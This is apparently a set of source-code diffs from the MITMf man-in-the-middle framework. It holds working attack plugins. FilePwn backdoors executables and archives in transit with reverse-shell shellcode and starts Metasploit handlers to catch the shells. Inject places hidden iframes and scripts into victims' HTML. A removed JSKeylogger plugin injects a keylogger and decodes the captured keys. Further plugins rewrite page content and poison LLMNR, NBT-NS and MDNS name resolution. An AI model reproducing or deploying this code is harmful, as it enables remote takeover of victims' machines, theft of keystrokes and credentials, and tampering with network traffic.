# specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# Tested on Kali-Linux.
import sys
import os
import pefile
import zipfile
import logging
import shutil
import random
import string
import threading
import tarfile
import multiprocessing
from libs.bdfactory import pebin
from libs.bdfactory import elfbin
from libs.bdfactory import machobin
from core.msfrpc import Msf
from core.utils import shutdown
from plugins.plugin import Plugin
from tempfile import mkstemp
from configobj import ConfigObj
mitmf_logger = logging.getLogger("mitmf")
class FilePwn(Plugin):
name = "FilePwn"
optname = "filepwn"
desc = "Backdoor executables being sent over http using bdfactory"
tree_info = ["BDFProxy v0.3.2 online"]
version = "0.3"
has_opts = False
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.patched = multiprocessing.Queue()
#FOR FUTURE USE
self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload', 'application/x-msdos-program', 'binary/octet-stream']
#FOR FUTURE USE
self.zipMimeTypes = ['application/x-zip-compressed', 'application/zip']
#USED NOW
self.magicNumbers = {'elf': {'number': '7f454c46'.decode('hex'), 'offset': 0},
'pe': {'number': 'MZ', 'offset': 0},
'gz': {'number': '1f8b'.decode('hex'), 'offset': 0},
'bz': {'number': 'BZ', 'offset': 0},
'zip': {'number': '504b0304'.decode('hex'), 'offset': 0},
'tar': {'number': 'ustar', 'offset': 257},
'fatfile': {'number': 'cafebabe'.decode('hex'), 'offset': 0},
'machox64': {'number': 'cffaedfe'.decode('hex'), 'offset': 0},
'machox86': {'number': 'cefaedfe'.decode('hex'), 'offset': 0},
}
#NOT USED NOW
#self.supportedBins = ('MZ', '7f454c46'.decode('hex'))
#FilePwn options
self.userConfig = self.config['FilePwn']
self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax']
self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86']
self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64']
self.WindowsType = self.userConfig['targets']['ALL']['WindowsType']
self.LinuxIntelx86 = self.userConfig['targets']['ALL']['LinuxIntelx86']
self.LinuxIntelx64 = self.userConfig['targets']['ALL']['LinuxIntelx64']
self.LinuxType = self.userConfig['targets']['ALL']['LinuxType']
self.MachoIntelx86 = self.userConfig['targets']['ALL']['MachoIntelx86']
self.MachoIntelx64 = self.userConfig['targets']['ALL']['MachoIntelx64']
self.FatPriority = self.userConfig['targets']['ALL']['FatPriority']
self.zipblacklist = self.userConfig['ZIP']['blacklist']
self.tarblacklist = self.userConfig['TAR']['blacklist']
msfversion = Msf().version()
self.tree_info.append("Connected to Metasploit v{}".format(msfversion))
t = threading.Thread(name='setupMSF', target=self.setupMSF)
t.setDaemon(True)
t.start()
def setupMSF(self):
msf = Msf()
for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]:
cmd = "use exploit/multi/handler\n"
cmd += "set payload {}\n".format(config["MSFPAYLOAD"])
cmd += "set LHOST {}\n".format(config["HOST"])
cmd += "set LPORT {}\n".format(config["PORT"])
cmd += "set ExitOnSession False\n"
cmd += "exploit -j\n"
pid = msf.findpid('multi/handler')
if pid:
info = msf.jobinfo(pid)
if (info['datastore']['payload'] == config["MSFPAYLOAD"]) and (info['datastore']['LPORT'] == config["PORT"]) and (info['datastore']['lhost'] != config['HOST']):
msf.killjob(pid)
msf.sendcommand(cmd)
else:
msf.sendcommand(cmd)
else:
msf.sendcommand(cmd)
def onConfigChange(self):
self.initialize(self.options)
def convert_to_Bool(self, aString):
if aString.lower() == 'true':
return True
elif aString.lower() == 'false':
return False
elif aString.lower() == 'none':
return None
def bytes_have_format(self, bytess, formatt):
number = self.magicNumbers[formatt]
if bytess[number['offset']:number['offset'] + len(number['number'])] == number['number']:
return True
return False
def binaryGrinder(self, binaryFile):
"""
Feed potential binaries into this function,
it will return the result PatchedBinary, False, or None
"""
with open(binaryFile, 'r+b') as f:
binaryTMPHandle = f.read()
binaryHeader = binaryTMPHandle[:4]
result = None
try:
if binaryHeader[:2] == 'MZ': # PE/COFF
pe = pefile.PE(data=binaryTMPHandle, fast_load=True)
magic = pe.OPTIONAL_HEADER.Magic
machineType = pe.FILE_HEADER.Machine
#update when supporting more than one arch
if (magic == int('20B', 16) and machineType == 0x8664 and
self.WindowsType.lower() in ['all', 'x64']):
add_section = False
cave_jumping = False
if self.WindowsIntelx64['PATCH_TYPE'].lower() == 'append':
add_section = True
elif self.WindowsIntelx64['PATCH_TYPE'].lower() == 'jump':
cave_jumping = True
# if automatic override
if self.WindowsIntelx64['PATCH_METHOD'].lower() == 'automatic':
cave_jumping = True
targetFile = pebin.pebin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.WindowsIntelx64['SHELL'],
HOST=self.WindowsIntelx64['HOST'],
PORT=int(self.WindowsIntelx64['PORT']),
ADD_SECTION=add_section,
CAVE_JUMPING=cave_jumping,
IMAGE_TYPE=self.WindowsType,
PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx64['PATCH_DLL']),
SUPPLIED_SHELLCODE=self.WindowsIntelx64['SUPPLIED_SHELLCODE'],
ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx64['ZERO_CERT']),
PATCH_METHOD=self.WindowsIntelx64['PATCH_METHOD'].lower()
)
result = targetFile.run_this()
elif (machineType == 0x14c and
self.WindowsType.lower() in ['all', 'x86']):
add_section = False
cave_jumping = False
#add_section wins for cave_jumping
#default is single for BDF
if self.WindowsIntelx86['PATCH_TYPE'].lower() == 'append':
add_section = True
elif self.WindowsIntelx86['PATCH_TYPE'].lower() == 'jump':
cave_jumping = True
# if automatic override
if self.WindowsIntelx86['PATCH_METHOD'].lower() == 'automatic':
cave_jumping = True
targetFile = pebin.pebin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.WindowsIntelx86['SHELL'],
HOST=self.WindowsIntelx86['HOST'],
PORT=int(self.WindowsIntelx86['PORT']),
ADD_SECTION=add_section,
CAVE_JUMPING=cave_jumping,
IMAGE_TYPE=self.WindowsType,
PATCH_DLL=self.convert_to_Bool(self.WindowsIntelx86['PATCH_DLL']),
SUPPLIED_SHELLCODE=self.WindowsIntelx86['SUPPLIED_SHELLCODE'],
ZERO_CERT=self.convert_to_Bool(self.WindowsIntelx86['ZERO_CERT']),
PATCH_METHOD=self.WindowsIntelx86['PATCH_METHOD'].lower()
)
result = targetFile.run_this()
elif binaryHeader[:4].encode('hex') == '7f454c46': # ELF
targetFile = elfbin.elfbin(FILE=binaryFile, SUPPORT_CHECK=False)
targetFile.support_check()
if targetFile.class_type == 0x1:
#x86CPU Type
targetFile = elfbin.elfbin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.LinuxIntelx86['SHELL'],
HOST=self.LinuxIntelx86['HOST'],
PORT=int(self.LinuxIntelx86['PORT']),
SUPPLIED_SHELLCODE=self.LinuxIntelx86['SUPPLIED_SHELLCODE'],
IMAGE_TYPE=self.LinuxType
)
result = targetFile.run_this()
elif targetFile.class_type == 0x2:
#x64
targetFile = elfbin.elfbin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.LinuxIntelx64['SHELL'],
HOST=self.LinuxIntelx64['HOST'],
PORT=int(self.LinuxIntelx64['PORT']),
SUPPLIED_SHELLCODE=self.LinuxIntelx64['SUPPLIED_SHELLCODE'],
IMAGE_TYPE=self.LinuxType
)
result = targetFile.run_this()
elif binaryHeader[:4].encode('hex') in ['cefaedfe', 'cffaedfe', 'cafebabe']: # Macho
targetFile = machobin.machobin(FILE=binaryFile, SUPPORT_CHECK=False)
targetFile.support_check()
#ONE CHIP SET MUST HAVE PRIORITY in FAT FILE
if targetFile.FAT_FILE is True:
if self.FatPriority == 'x86':
targetFile = machobin.machobin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.MachoIntelx86['SHELL'],
HOST=self.MachoIntelx86['HOST'],
PORT=int(self.MachoIntelx86['PORT']),
SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'],
FAT_PRIORITY=self.FatPriority
)
result = targetFile.run_this()
elif self.FatPriority == 'x64':
targetFile = machobin.machobin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.MachoIntelx64['SHELL'],
HOST=self.MachoIntelx64['HOST'],
PORT=int(self.MachoIntelx64['PORT']),
SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'],
FAT_PRIORITY=self.FatPriority
)
result = targetFile.run_this()
elif targetFile.mach_hdrs[0]['CPU Type'] == '0x7':
targetFile = machobin.machobin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.MachoIntelx86['SHELL'],
HOST=self.MachoIntelx86['HOST'],
PORT=int(self.MachoIntelx86['PORT']),
SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'],
FAT_PRIORITY=self.FatPriority
)
result = targetFile.run_this()
elif targetFile.mach_hdrs[0]['CPU Type'] == '0x1000007':
targetFile = machobin.machobin(FILE=binaryFile,
OUTPUT=os.path.basename(binaryFile),
SHELL=self.MachoIntelx64['SHELL'],
HOST=self.MachoIntelx64['HOST'],
PORT=int(self.MachoIntelx64['PORT']),
SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'],
FAT_PRIORITY=self.FatPriority
)
result = targetFile.run_this()
self.patched.put(result)
return
except Exception as e:
print 'Exception', str(e)
mitmf_logger.warning("EXCEPTION IN binaryGrinder {}".format(e))
return None
def tar_files(self, aTarFileBytes, formatt):
"When called will unpack and edit a Tar File and return a tar file"
print "[*] TarFile size:", len(aTarFileBytes) / 1024, 'KB'
if len(aTarFileBytes) > int(self.userConfig['TAR']['maxSize']):
print "[!] TarFile over allowed size"
mitmf_logger.info("TarFIle maxSize met {}".format(len(aTarFileBytes)))
self.patched.put(aTarFileBytes)
return
with tempfile.NamedTemporaryFile() as tarFileStorage:
tarFileStorage.write(aTarFileBytes)
tarFileStorage.flush()
if not tarfile.is_tarfile(tarFileStorage.name):
print '[!] Not a tar file'
self.patched.put(aTarFileBytes)
return
compressionMode = ':'
if formatt == 'gz':
compressionMode = ':gz'
if formatt == 'bz':
compressionMode = ':bz2'
tarFile = None
try:
tarFileStorage.seek(0)
tarFile = tarfile.open(fileobj=tarFileStorage, mode='r' + compressionMode)
except tarfile.ReadError:
pass
if tarFile is None:
print '[!] Not a tar file'
self.patched.put(aTarFileBytes)
return
print '[*] Tar file contents and info:'
print '[*] Compression:', formatt
members = tarFile.getmembers()
for info in members:
print "\t", info.name, info.mtime, info.size
newTarFileStorage = tempfile.NamedTemporaryFile()
newTarFile = tarfile.open(mode='w' + compressionMode, fileobj=newTarFileStorage)
patchCount = 0
wasPatched = False
for info in members:
print "[*] >>> Next file in tarfile:", info.name
if not info.isfile():
print info.name, 'is not a file'
newTarFile.addfile(info, tarFile.extractfile(info))
continue
if info.size >= long(self.FileSizeMax):
print info.name, 'is too big'
newTarFile.addfile(info, tarFile.extractfile(info))
continue
# Check against keywords
keywordCheck = False
if type(self.tarblacklist) is str:
if self.tarblacklist.lower() in info.name.lower():
keywordCheck = True
else:
for keyword in self.tarblacklist:
if keyword.lower() in info.name.lower():
keywordCheck = True
continue
if keywordCheck is True:
print "[!] Tar blacklist enforced!"
mitmf_logger.info('Tar blacklist enforced on {}'.format(info.name))
continue
# Try to patch
extractedFile = tarFile.extractfile(info)
if patchCount >= int(self.userConfig['TAR']['patchCount']):
newTarFile.addfile(info, extractedFile)
else:
# create the file on disk temporarily for fileGrinder to run on it
with tempfile.NamedTemporaryFile() as tmp:
shutil.copyfileobj(extractedFile, tmp)
tmp.flush()
patchResult = self.binaryGrinder(tmp.name)
if patchResult:
patchCount += 1
file2 = "backdoored/" + os.path.basename(tmp.name)
print "[*] Patching complete, adding to tar file."
info.size = os.stat(file2).st_size
with open(file2, 'rb') as f:
newTarFile.addfile(info, f)
mitmf_logger.info("{} in tar patched, adding to tarfile".format(info.name))
os.remove(file2)
wasPatched = True
else:
print "[!] Patching failed"
with open(tmp.name, 'rb') as f:
newTarFile.addfile(info, f)
mitmf_logger.info("{} patching failed. Keeping original file in tar.".format(info.name))
if patchCount == int(self.userConfig['TAR']['patchCount']):
mitmf_logger.info("Met Tar config patchCount limit.")
# finalize the writing of the tar file first
newTarFile.close()
# then read the new tar file into memory
newTarFileStorage.seek(0)
ret = newTarFileStorage.read()
newTarFileStorage.close() # it's automatically deleted
if wasPatched is False:
# If nothing was changed return the original
print "[*] No files were patched forwarding original file"
self.patched.put(aTarFileBytes)
return
else:
self.patched.put(ret)
return
def zip_files(self, aZipFile):
"When called will unpack and edit a Zip File and return a zip file"
print "[*] ZipFile size:", len(aZipFile) / 1024, 'KB'
if len(aZipFile) > int(self.userConfig['ZIP']['maxSize']):
print "[!] ZipFile over allowed size"
mitmf_logger.info("ZipFIle maxSize met {}".format(len(aZipFile)))
self.patched.put(aZipFile)
return
tmpRan = ''.join(random.choice(string.ascii_lowercase + string.digits + string.ascii_uppercase) for _ in range(8))
tmpDir = '/tmp/' + tmpRan
tmpFile = '/tmp/' + tmpRan + '.zip'
os.mkdir(tmpDir)
with open(tmpFile, 'w') as f:
f.write(aZipFile)
zippyfile = zipfile.ZipFile(tmpFile, 'r')
#encryption test
try:
zippyfile.testzip()
except RuntimeError as e:
if 'encrypted' in str(e):
mitmf_logger.info('Encrypted zipfile found. Not patching.')
return aZipFile
print "[*] ZipFile contents and info:"
for info in zippyfile.infolist():
print "\t", info.filename, info.date_time, info.file_size
zippyfile.extractall(tmpDir)
patchCount = 0
wasPatched = False
for info in zippyfile.infolist():
print "[*] >>> Next file in zipfile:", info.filename
if os.path.isdir(tmpDir + '/' + info.filename) is True:
print info.filename, 'is a directory'
continue
#Check against keywords
keywordCheck = False
if type(self.zipblacklist) is str:
if self.zipblacklist.lower() in info.filename.lower():
keywordCheck = True
else:
for keyword in self.zipblacklist:
if keyword.lower() in info.filename.lower():
keywordCheck = True
continue
if keywordCheck is True:
print "[!] Zip blacklist enforced!"
mitmf_logger.info('Zip blacklist enforced on {}'.format(info.filename))
continue
patchResult = self.binaryGrinder(tmpDir + '/' + info.filename)
if patchResult:
patchCount += 1
file2 = "backdoored/" + os.path.basename(info.filename)
print "[*] Patching complete, adding to zip file."
shutil.copyfile(file2, tmpDir + '/' + info.filename)
mitmf_logger.info("{} in zip patched, adding to zipfile".format(info.filename))
os.remove(file2)
wasPatched = True
else:
print "[!] Patching failed"
mitmf_logger.info("{} patching failed. Keeping original file in zip.".format(info.filename))
print '-' * 10
if patchCount >= int(self.userConfig['ZIP']['patchCount']): # Make this a setting.
mitmf_logger.info("Met Zip config patchCount limit.")
break
zippyfile.close()
zipResult = zipfile.ZipFile(tmpFile, 'w', zipfile.ZIP_DEFLATED)
print "[*] Writing to zipfile:", tmpFile
for base, dirs, files in os.walk(tmpDir):
for afile in files:
filename = os.path.join(base, afile)
print '[*] Writing filename to zipfile:', filename.replace(tmpDir + '/', '')
zipResult.write(filename, arcname=filename.replace(tmpDir + '/', ''))
zipResult.close()
#clean up
shutil.rmtree(tmpDir)
with open(tmpFile, 'rb') as f:
tempZipFile = f.read()
os.remove(tmpFile)
if wasPatched is False:
print "[*] No files were patched forwarding original file"
self.patched.put(aZipFile)
return
else:
self.patched.put(tempZipFile)
return
def serverResponse(self, response, request, data):
content_header = response.headers['Content-Type']
client_ip = response.getClientIP()
if content_header in self.zipMimeTypes:
if self.bytes_have_format(data, 'zip'):
mitmf_logger.info("[FilePwn] {} Detected supported zip file type!".format(client_ip))
process = multiprocessing.Process(name='zip', target=self.zip_files, args=(data,))
process.daemon = True
process.start()
#process.join()
bd_zip = self.patched.get()
if bd_zip:
mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip))
return {'response': response, 'request': request, 'data': bd_zip}
else:
for tartype in ['gz','bz','tar']:
if self.bytes_have_format(data, tartype):
mitmf_logger.info("[FilePwn] {} Detected supported tar file type!".format(client_ip))
process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,))
process.daemon = True
process.start()
#process.join()
bd_tar = self.patched.get()
if bd_tar:
mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip))
return {'response': response, 'request': request, 'data': bd_tar}
elif content_header in self.binaryMimeTypes:
for bintype in ['pe','elf','fatfile','machox64','machox86']:
if self.bytes_have_format(data, bintype):
mitmf_logger.info("[FilePwn] {} Detected supported binary type ({})!".format(client_ip, bintype))
fd, tmpFile = mkstemp()
with open(tmpFile, 'w') as f:
f.write(data)
process = multiprocessing.Process(name='binaryGrinder', target=self.binaryGrinder, args=(tmpFile,))
process.daemon = True
process.start()
#process.join()
patchb = self.patched.get()
if patchb:
bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read()
os.remove('./backdoored/' + os.path.basename(tmpFile))
mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip))
return {'response': response, 'request': request, 'data': bd_binary}
mitmf_logger.debug("[FilePwn] {} File is not of supported Content-Type: {}".format(client_ip, content_header))
return {'response': response, 'request': request, 'data': data}

View file

@ -1,5 +1,3 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
@ -18,31 +16,31 @@
# USA
#
import logging
import time
import re
import sys
import argparse
from core.utils import SystemConfig
from plugins.plugin import Plugin
from plugins.CacheKill import CacheKill
mitmf_logger = logging.getLogger("mitmf")
class Inject(CacheKill, Plugin):
class Inject(Plugin):
name = "Inject"
optname = "inject"
desc = "Inject arbitrary content into HTML content"
version = "0.3"
has_opts = True
version = "0.4"
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.our_ip = SystemConfig.getIP(options.interface)
self.html_src = options.html_url
self.js_src = options.js_url
self.ip = options.ip
self.html_url = options.html_url
self.html_payload = options.html_payload
self.html_file = options.html_file
self.js_url = options.js_url
self.js_payload = options.js_payload
self.js_file = options.js_file
self.rate_limit = options.rate_limit
self.count_limit = options.count_limit
self.per_domain = options.per_domain
@ -50,33 +48,47 @@ class Inject(CacheKill, Plugin):
self.white_ips = options.white_ips.split(',')
self.white_domains = options.white_domains.split(',')
self.black_domains = options.black_domains.split(',')
self.match_str = "</body>" or options.match_str
self.html_payload = options.html_payload
self.match_str = options.match_str
self.ctable = {}
self.dtable = {}
self.count = 0
self.mime = "text/html"
if not options.preserve_cache:
CacheKill.initialize(self, options)
def serverResponse(self, response, request, data):
#We throttle to only inject once every two seconds per client
#If you have MSF on another host, you may need to check prior to injection
#print "http://" + response.client.getRequestHostname() + response.uri
def response(self, response, request, data):
ip, hn, mime = self._get_req_info(response)
if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and self._host_filter(hn) and (hn not in self.our_ip):
if (not self.js_src == self.html_src is not None or not self.html_payload == ""):
data = self._insert_html(data, post=[(self.match_str, self._get_payload())])
if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and self._host_filter(hn) and (hn not in self.ip):
if (not self.js_url == self.html_url is not None or not self.html_payload == ""):
data = self._insert_html(data, post=[(self.match_str, self.get_payload())])
self.ctable[ip] = time.time()
self.dtable[ip+hn] = True
self.count += 1
mitmf_logger.info("{} [{}] Injected malicious html: {}".format(ip, self.name, hn))
self.clientlog.info("Injected malicious html: {}".format(hn), extra=request.clientInfo)
return {'response': response, 'request':request, 'data': data}
def _get_payload(self):
return self._get_js() + self._get_iframe() + self.html_payload
def get_payload(self):
payload = ''
if self.html_url is not None:
payload += '<iframe src="{}" height=0%% width=0%%></iframe>'.format(self.html_url)
if self.html_payload is not None:
payload += self.html_payload
if self.html_file:
payload += self.html_file.read()
if self.js_url is not None:
payload += '<script type="text/javascript" src="{}"></script>'.format(self.js_url)
if self.js_payload is not None:
payload += '<script type="text/javascript">{}</script>'.format(self.js_payload)
if self.js_file:
payload += '<script type="text/javascript">{}</script>'.format(self.js_file.read())
return payload
def _ip_filter(self, ip):
@ -134,16 +146,6 @@ class Inject(CacheKill, Plugin):
mime = response.headers['Content-Type']
return (ip, hn, mime)
def _get_iframe(self):
if self.html_src is not None:
return '<iframe src="%s" height=0%% width=0%%></iframe>' % (self.html_src)
return ''
def _get_js(self):
if self.js_src is not None:
return '<script type="text/javascript" src="%s"></script>' % (self.js_src)
return ''
def _insert_html(self, data, pre=[], post=[], re_flags=re.I):
'''
To use this function, simply pass a list of tuples of the form:
@ -166,18 +168,20 @@ class Inject(CacheKill, Plugin):
return data
def pluginOptions(self, options):
options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.")
options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.")
options.add_argument("--html-payload", type=str, default='', help="String you would like to inject.")
#options.add_argument("--html-file", type=argparse.FileType('r'), help='File containg HTML you would like to inject')
options.add_argument("--match-str", type=str, default=None, help="String you would like to match and place your payload before. (</body> by default)")
options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.")
def options(self, options):
options.add_argument("--js-url", type=str, help="URL of the JS to inject")
options.add_argument('--js-payload', type=str, help='JS string to inject')
options.add_argument('--js-file', type=argparse.FileType('r'), help='File containing JS to inject')
options.add_argument("--html-url", type=str, help="URL of the HTML to inject")
options.add_argument("--html-payload", type=str, help="HTML string to inject")
options.add_argument('--html-file', type=argparse.FileType('r'), help='File containing HTML to inject')
options.add_argument("--match-str", type=str, default='</body>', help="String you would like to match and place your payload before. (</body> by default)")
group = options.add_mutually_exclusive_group(required=False)
group.add_argument("--per-domain", action="store_true", default=False, help="Inject once per domain per client.")
group.add_argument("--rate-limit", type=float, default=None, help="Inject once every RATE_LIMIT seconds per client.")
group.add_argument("--count-limit", type=int, default=None, help="Inject only COUNT_LIMIT times per client.")
group.add_argument("--white-ips", metavar='IPS', type=str, default='', help="Inject content ONLY for these ips (comma seperated)")
group.add_argument("--black-ips", metavar='IPS', type=str, default='', help="DO NOT inject content for these ips (comma seperated)")
group.add_argument("--white-domains", metavar='DOMAINS', type=str, default='', help="Inject content ONLY for these domains (comma seperated)")
group.add_argument("--black-domains", metavar='DOMAINS', type=str, default='', help="DO NOT inject content for these domains (comma seperated)")
group.add_argument("--per-domain", action="store_true", help="Inject once per domain per client.")
group.add_argument("--rate-limit", type=float, help="Inject once every RATE_LIMIT seconds per client.")
group.add_argument("--count-limit", type=int, help="Inject only COUNT_LIMIT times per client.")
group.add_argument("--white-ips", metavar='IP', default='', type=str, help="Inject content ONLY for these ips (comma seperated)")
group.add_argument("--black-ips", metavar='IP', default='', type=str, help="DO NOT inject content for these ips (comma seperated)")
group.add_argument("--white-domains", metavar='DOMAINS', default='', type=str, help="Inject content ONLY for these domains (comma seperated)")
group.add_argument("--black-domains", metavar='DOMAINS', default='', type=str, help="DO NOT inject content for these domains (comma seperated)")

View file

@ -1,71 +0,0 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
import re
import random
import string
from plugins.plugin import Plugin
from plugins.Inject import Inject
mitmf_logger = logging.getLogger("mitmf")
class jskeylogger(Inject, Plugin):
name = "JSKeylogger"
optname = "jskeylogger"
desc = "Injects a javascript keylogger into clients webpages"
version = "0.2"
has_opts = False
def initialize(self, options):
Inject.initialize(self, options)
self.html_payload = self.msf_keylogger()
def clientRequest(self, request):
if 'keylog' in request.uri:
request.printPostData = False
raw_keys = request.postData.split("&&")[0]
input_field = request.postData.split("&&")[1]
keys = raw_keys.split(",")
if keys:
del keys[0]; del(keys[len(keys)-1])
nice = ''
for n in keys:
if n == '9':
nice += "<TAB>"
elif n == '8':
nice = nice[:-1]
elif n == '13':
nice = ''
else:
try:
nice += n.decode('hex')
except:
mitmf_logger.error("{} [JSKeylogger] Error decoding char: {}".format(request.client.getClientIP(), n))
mitmf_logger.info("{} [JSKeylogger] Host: {} | Field: {} | Keys: {}".format(request.client.getClientIP(), request.headers['host'], input_field, nice))
def msf_keylogger(self):
keylogger = open("./core/javascript/msfkeylogger.js", "r").read()
return '<script type="text/javascript">\n' + keylogger + '\n</script>'

View file

@ -1,80 +0,0 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
"""
Plugin by @rubenthijssen
"""
import sys
import logging
import time
import re
from plugins.plugin import Plugin
from plugins.CacheKill import CacheKill
from core.sergioproxy.ProxyPlugins import ProxyPlugins
mitmf_logger = logging.getLogger("mitmf")
class Replace(Plugin):
name = "Replace"
optname = "replace"
desc = "Replace arbitrary content in HTML content"
version = "0.2"
has_opts = False
def initialize(self, options):
self.options = options
self.ctable = {}
self.dtable = {}
self.mime = "text/html"
def serverResponse(self, response, request, data):
ip, hn, mime = self._get_req_info(response)
if self._should_replace(ip, hn, mime):
# Did the user provide us with a regex file?
for rulename, regexs in self.config['Replace'].iteritems():
for regex1,regex2 in regexs.iteritems():
if re.search(regex1, data):
try:
data = re.sub(regex1, regex2, data)
mitmf_logger.info("{} [{}] Host: {} Occurances matching '{}' replaced with '{}' according to rule '{}'".format(ip, self.name, hn, regex1, regex2, rulename))
except Exception:
mitmf_logger.error("{} [{}] Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'" % (ip, hn, regex1, regex2, rulename))
self.ctable[ip] = time.time()
self.dtable[ip+hn] = True
return {'response': response, 'request': request, 'data': data}
def _should_replace(self, ip, hn, mime):
return mime.find(self.mime) != -1
def _get_req_info(self, response):
ip = response.getClientIP()
hn = response.getRequestHostname()
mime = response.headers['Content-Type']
return (ip, hn, mime)

View file

@ -1,128 +0,0 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
from plugins.plugin import Plugin
from twisted.internet import reactor
from core.utils import SystemConfig, shutdown
from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner
from core.responder.mdns.MDNSPoisoner import MDNSPoisoner
from core.responder.nbtns.NBTNSPoisoner import NBTNSPoisoner
from core.responder.fingerprinter.LANFingerprinter import LANFingerprinter
from core.responder.wpad.WPADPoisoner import WPADPoisoner
class Responder(Plugin):
name = "Responder"
optname = "responder"
desc = "Poison LLMNR, NBT-NS and MDNS requests"
tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"]
version = "0.2"
has_opts = True
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.interface = options.interface
self.ourip = SystemConfig.getIP(options.interface)
try:
config = self.config['Responder']
smbChal = self.config['MITMf']['SMB']['Challenge']
except Exception as e:
shutdown('[-] Error parsing config for Responder: ' + str(e))
LANFingerprinter().start(options)
MDNSPoisoner().start(options, self.ourip)
NBTNSPoisoner().start(options, self.ourip)
LLMNRPoisoner().start(options, self.ourip)
if options.wpad:
from core.responder.wpad.WPADPoisoner import WPADPoisoner
WPADPoisoner().start(options)
if self.config["Responder"]["MSSQL"].lower() == "on":
from core.responder.mssql.MSSQLServer import MSSQLServer
MSSQLServer().start(smbChal)
if self.config["Responder"]["Kerberos"].lower() == "on":
from core.responder.kerberos.KERBServer import KERBServer
KERBServer().start()
